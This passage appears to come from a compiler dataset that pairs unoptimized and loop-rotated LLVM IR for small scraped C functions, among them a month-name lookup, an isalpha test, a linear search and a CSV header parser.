"no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpxmxjin4d.c' source_filename = "/tmp/tmpxmxjin4d.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [6 x i8] c"abril\00", align 1 @.str.1 = private unnamed_addr constant [7 x i8] c"agosto\00", align 1 @.str.2 = private unnamed_addr constant [9 x i8] c"novembro\00", align 1 @.str.3 = private unnamed_addr constant [9 x i8] c"dezembro\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @mes(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca ptr, align 8 store i32 %0, ptr %2, align 4 %4 = call i64 @malloc(i32 noundef 10) %5 = inttoptr i64 %4 to ptr store ptr %5, ptr %3, align 8 %6 = load i32, ptr %2, align 4 switch i32 %6, label %19 [ i32 0, label %7 i32 1, label %7 i32 2, label %7 i32 3, label %7 i32 4, label %10 i32 5, label %10 i32 6, label %10 i32 7, label %10 i32 8, label %13 i32 9, label %13 i32 10, label %13 i32 11, label %16 ] 7: ; preds = %1, %1, %1, %1 %8 = load ptr, ptr %3, align 8 %9 = call i32 @strcpy(ptr noundef %8, ptr noundef @.str) br label %19 10: ; preds = %1, %1, %1, %1 %11 = load ptr, ptr %3, align 8 %12 = call i32 @strcpy(ptr noundef %11, ptr noundef @.str.1) br label %19 13: ; preds = %1, %1, %1 %14 = load ptr, ptr %3, align 8 %15 = call i32 @strcpy(ptr noundef %14, ptr noundef @.str.2) br label %19 16: ; preds = %1 %17 = load ptr, ptr %3, align 8 %18 = call i32 @strcpy(ptr noundef %17, ptr noundef @.str.3) br label %19 19: ; preds = %1, %16, %13, %10, %7 %20 = load ptr, ptr %3, align 8 ret ptr %20 } declare i64 @malloc(i32 noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpxmxjin4d.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [6 x i8] c"abril\00", align 1 @.str.1 = private unnamed_addr constant [7 x i8] c"agosto\00", align 1 @.str.2 = private unnamed_addr constant [9 x i8] c"novembro\00", align 1 @.str.3 = private unnamed_addr constant [9 x i8] c"dezembro\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @mes(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca ptr, align 8 store i32 %0, ptr %2, align 4 %4 = call i64 @malloc(i32 noundef 10) %5 = inttoptr i64 %4 to ptr store ptr %5, ptr %3, align 8 %6 = load i32, ptr %2, align 4 switch i32 %6, label %19 [ i32 0, label %7 i32 1, label %7 i32 2, label %7 i32 3, label %7 i32 4, label %10 i32 5, label %10 i32 6, label %10 i32 7, label %10 i32 8, label %13 i32 9, label %13 i32 10, label %13 i32 11, label %16 ] 7: ; preds = %1, %1, %1, %1 %8 = load ptr, ptr %3, align 8 %9 = call i32 @strcpy(ptr noundef %8, ptr noundef @.str) br label %19 10: ; preds = %1, %1, %1, %1 %11 = load ptr, ptr %3, align 8 %12 = call i32 @strcpy(ptr noundef %11, ptr noundef @.str.1) br label %19 13: ; preds = %1, %1, %1 %14 = load ptr, ptr %3, align 8 %15 = call i32 @strcpy(ptr noundef %14, ptr noundef @.str.2) br label %19 16: ; preds = %1 %17 = load ptr, ptr %3, align 8 %18 = call i32 @strcpy(ptr noundef %17, ptr noundef @.str.3) br label %19 19: ; preds = %16, %13, %10, %7, %1 %20 = load ptr, ptr %3, align 8 ret ptr %20 } declare i64 @malloc(i32 noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp65yjc6u7.c' source_filename = "/tmp/tmp65yjc6u7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isalpha.c\00", align 1 @.str.1 = private unnamed_addr constant [26 x i8] c"isalpha should be 1 for E\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @t_isalpha_0x45() #0 { %1 = call i32 @isalpha(i32 noundef 69) #3 %2 = call i32 @Assert_real(i32 noundef %1, ptr noundef @.str, i32 noundef 350, ptr noundef @.str.1) ret void } declare i32 @Assert_real(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1 ; Function Attrs: nounwind willreturn memory(read) declare i32 @isalpha(i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind willreturn memory(read) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind willreturn memory(read) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp65yjc6u7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isalpha.c\00", align 1 @.str.1 = private unnamed_addr constant [26 x i8] c"isalpha should be 1 for E\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @t_isalpha_0x45() #0 { %1 = call i32 @isalpha(i32 noundef 69) #3 %2 = call i32 @Assert_real(i32 noundef %1, ptr noundef @.str, i32 noundef 350, ptr noundef @.str.1) ret void } declare i32 @Assert_real(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1 ; Function Attrs: nounwind willreturn memory(read) declare i32 @isalpha(i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind willreturn memory(read) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind willreturn memory(read) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmphtduf1w1.c' source_filename = "/tmp/tmphtduf1w1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @search(i32 noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca ptr, align 8 %7 = alloca i64, align 8 %8 = alloca i64, align 8 store i32 %0, ptr %5, align 4 store ptr %1, ptr %6, align 8 store i64 %2, ptr %7, align 8 store i64 0, ptr %8, align 8 br label %9 9: ; preds = %24, %3 %10 = load i64, ptr %8, align 8 %11 = load i64, ptr %7, align 8 %12 = icmp ult i64 %10, %11 br i1 %12, label %13, label %27 13: ; preds = %9 %14 = load ptr, ptr %6, align 8 %15 = load i64, ptr %8, align 8 %16 = getelementptr inbounds i32, ptr %14, i64 %15 %17 = load i32, ptr %16, align 4 %18 = load i32, ptr %5, align 4 %19 = icmp eq i32 %17, %18 br i1 %19, label %20, label %23 20: ; preds = %13 %21 = load i64, ptr %8, align 8 %22 = trunc i64 %21 to i32 store i32 %22, ptr %4, align 4 br label %28 23: ; preds = %13 br label %24 24: ; preds = %23 %25 = load i64, ptr %8, align 8 %26 = add i64 %25, 1 store i64 %26, ptr %8, align 8 br label %9, !llvm.loop !6 27: ; preds = %9 store i32 -1, ptr %4, align 4 br label %28 28: ; preds = %27, %20 %29 = load i32, ptr %4, align 4 ret i32 %29 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmphtduf1w1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @search(i32 noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca ptr, align 8 %7 = alloca i64, align 8 %8 = alloca i64, align 8 store i32 %0, ptr %5, align 4 store ptr %1, ptr %6, align 8 store i64 %2, ptr %7, align 8 store i64 0, ptr %8, align 8 %9 = load i64, ptr %8, align 8 %10 = load i64, ptr %7, align 8 %11 = icmp ult i64 %9, %10 br i1 %11, label %.lr.ph, label %29 .lr.ph: ; preds = %3 br label %12 12: ; preds = %.lr.ph, %23 %13 = load ptr, ptr %6, align 8 %14 = load i64, ptr %8, align 8 %15 = getelementptr inbounds i32, ptr %13, i64 %14 %16 = load i32, ptr %15, align 4 %17 = load i32, ptr %5, align 4 %18 = icmp eq i32 %16, %17 br i1 %18, label %19, label %22 19: ; preds = %12 %20 = load i64, ptr %8, align 8 %21 = trunc i64 %20 to i32 store i32 %21, ptr %4, align 4 br label %30 22: ; preds = %12 br label %23 23: ; preds = %22 %24 = load i64, ptr %8, align 8 %25 = add i64 %24, 1 store i64 %25, ptr %8, align 8 %26 = load i64, ptr %8, align 8 %27 = load i64, ptr %7, align 8 %28 = icmp ult i64 %26, %27 br i1 %28, label %12, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %23 br label %29 29: ; preds = %._crit_edge, %3 store i32 -1, ptr %4, align 4 br label %30 30: ; preds = %29, %19 %31 = load i32, ptr %4, align 4 ret i32 %31 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp8i82togs.c' source_filename = "/tmp/tmp8i82togs.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c";\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @getStoreLogHeader(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca [4096 x i8], align 16 %7 = alloca ptr, align 8 %8 = alloca ptr, align 8 %9 = alloca i32, align 4 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %10 = getelementptr inbounds [4096 x i8], ptr %6, i64 0, i64 0 %11 = load ptr, ptr %4, align 8 %12 = call ptr @fgets(ptr noundef %10, i32 noundef 4096, ptr noundef %11) %13 = icmp eq ptr %12, null br i1 %13, label %14, label %15 14: ; preds = %2 store i32 -1, ptr %3, align 4 br label %33 15: ; preds = %2 store i32 0, ptr %9, align 4 %16 = getelementptr inbounds [4096 x i8], ptr %6, i64 0, i64 0 %17 = call ptr @strtok_csv(ptr noundef %16, ptr noundef @.str, ptr noundef %8) store ptr %17, ptr %7, align 8 br label %18 18: ; preds = %28, %15 %19 = load ptr, ptr %5, align 8 %20 = load i32, ptr %9, align 4 %21 = sext i32 %20 to i64 %22 = getelementptr inbounds ptr, ptr %19, i64 %21 %23 = load ptr, ptr %22, align 8 %24 = load ptr, ptr %7, align 8 %25 = call i32 @strcpy(ptr noundef %23, ptr noundef %24) %26 = load i32, ptr %9, align 4 %27 = add nsw i32 %26, 1 store i32 %27, ptr %9, align 4 br label %28 28: ; preds = %18 %29 = call ptr @strtok_csv(ptr noundef null, ptr noundef @.str, ptr noundef %8) store ptr %29, ptr %7, align 8 %30 = icmp ne ptr %29, null br i1 %30, label %18, label %31, !llvm.loop !6 31: ; preds = %28 %32 = load i32, ptr %9, align 4 store i32 %32, ptr %3, align 4 br label %33 33: ; preds = %31, %14 %34 = load i32, ptr %3, align 4 ret i32 %34 } declare ptr @fgets(ptr noundef, i32 noundef, ptr noundef) #1 declare ptr @strtok_csv(ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp8i82togs.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c";\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @getStoreLogHeader(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca [4096 x i8], align 16 %7 = alloca ptr, align 8 %8 = alloca ptr, align 8 %9 = alloca i32, align 4 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %10 = getelementptr inbounds [4096 x i8], ptr %6, i64 0, i64 0 %11 = load ptr, ptr %4, align 8 %12 = call ptr @fgets(ptr noundef %10, i32 noundef 4096, ptr noundef %11) %13 = icmp eq ptr %12, null br i1 %13, label %14, label %15 14: ; preds = %2 store i32 -1, ptr %3, align 4 br label %33 15: ; preds = %2 store i32 0, ptr %9, align 4 %16 = getelementptr inbounds [4096 x i8], ptr %6, i64 0, i64 0 %17 = call ptr @strtok_csv(ptr noundef %16, ptr noundef @.str, ptr noundef %8) store ptr %17, ptr %7, align 8 br label %18 18: ; preds = %28, %15 %19 = load ptr, ptr %5, align 8 %20 = load i32, ptr %9, align 4 %21 = sext i32 %20 to i64 %22 = getelementptr inbounds ptr, ptr %19, i64 %21 %23 = load ptr, ptr %22, align 8 %24 = load ptr, ptr %7, align 8 %25 = call i32 @strcpy(ptr noundef %23, ptr noundef %24) %26 = load i32, ptr %9, align 4 %27 = add nsw i32 %26, 1 store i32 %27, ptr %9, align 4 br label %28 28: ; preds = %18 %29 = call ptr @strtok_csv(ptr noundef null, ptr noundef @.str, ptr noundef %8) store ptr %29, ptr %7, align 8 %30 = icmp ne ptr %29, null br i1 %30, label %18, label %31, !llvm.loop !6 31: ; preds = %28 %32 = load i32, ptr %9, align 4 store i32 %32, ptr %3, align 4 br label %33 33: ; preds = %31, %14 %34 = load i32, ptr %3, align 4 ret i32 %34 } declare ptr @fgets(ptr noundef, i32 noundef, ptr noundef) #1 declare ptr @strtok_csv(ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpui_hdtvc.c' source_filename = "/tmp/tmpui_hdtvc.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @__const.main.a = private unnamed_addr constant [5 x i32] [i32 3, i32 2, i32 6, i32 7, i32 4], align 16 @.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [5 x i32], align 16 %3 = alloca i32, align 4 store i32 0, ptr %1, align 4 call void @llvm.memcpy.p0.p0.i64(ptr align 16 %2, ptr align 16 @__const.main.a, i64 20, i1 false) store i32 0, ptr %3, align 4 br label %4 4: ; preds = %13, %0 %5 = load i32, ptr %3, align 4 %6 = icmp slt i32 %5, 5 br i1 %6, label %7, label %16 7: ; preds = %4 %8 = load i32, ptr %3, align 4 %9 = sext i32 %8 to i64 %10 = getelementptr inbounds [5 x i32], ptr %2, i64 0, i64 %9 %11 = load i32, ptr %10, align 4 %12 = call i32 @printf(ptr noundef @.str, i32 noundef %11) br label %13 13: ; preds = %7 %14 = load i32, ptr %3, align 4 %15 = add nsw i32 %14, 1 store i32 %15, ptr %3, align 4 br label %4, !llvm.loop !6 16: ; preds = %4 %17 = load i32, ptr %1, align 4 ret i32 %17 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1 declare i32 @printf(ptr noundef, i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpui_hdtvc.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @__const.main.a = private unnamed_addr constant [5 x i32] [i32 3, i32 2, i32 6, i32 7, i32 4], align 16 @.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [5 x i32], align 16 %3 = alloca i32, align 4 store i32 0, ptr %1, align 4 call void @llvm.memcpy.p0.p0.i64(ptr align 16 %2, ptr align 16 @__const.main.a, i64 20, i1 false) store i32 0, ptr %3, align 4 %4 = load i32, ptr %3, align 4 %5 = icmp slt i32 %4, 5 br i1 %5, label %.lr.ph, label %17 .lr.ph: ; preds = %0 br label %6 6: ; preds = %.lr.ph, %12 %7 = load i32, ptr %3, align 4 %8 = sext i32 %7 to i64 %9 = getelementptr inbounds [5 x i32], ptr %2, i64 0, i64 %8 %10 = load i32, ptr %9, align 4 %11 = call i32 @printf(ptr noundef @.str, i32 noundef %10) br label %12 12: ; preds = %6 %13 = load i32, ptr %3, align 4 %14 = add nsw i32 %13, 1 store i32 %14, ptr %3, align 4 %15 = load i32, ptr %3, align 4 %16 = icmp slt i32 %15, 5 br i1 %16, label %6, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %12 br label %17 17: ; preds = %._crit_edge, %0 %18 = load i32, ptr %1, align 4 ret i32 %18 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1 declare i32 @printf(ptr noundef, i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp_7yd5km7.c' source_filename = "/tmp/tmp_7yd5km7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @my_xcalloc(i32 noundef %0, i64 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i64, align 8 store i32 %0, ptr %3, align 4 store i64 %1, ptr %4, align 8 ret ptr null } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp_7yd5km7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @my_xcalloc(i32 noundef %0, i64 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i64, align 8 store i32 %0, ptr %3, align 4 store i64 %1, ptr %4, align 8 ret ptr null } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
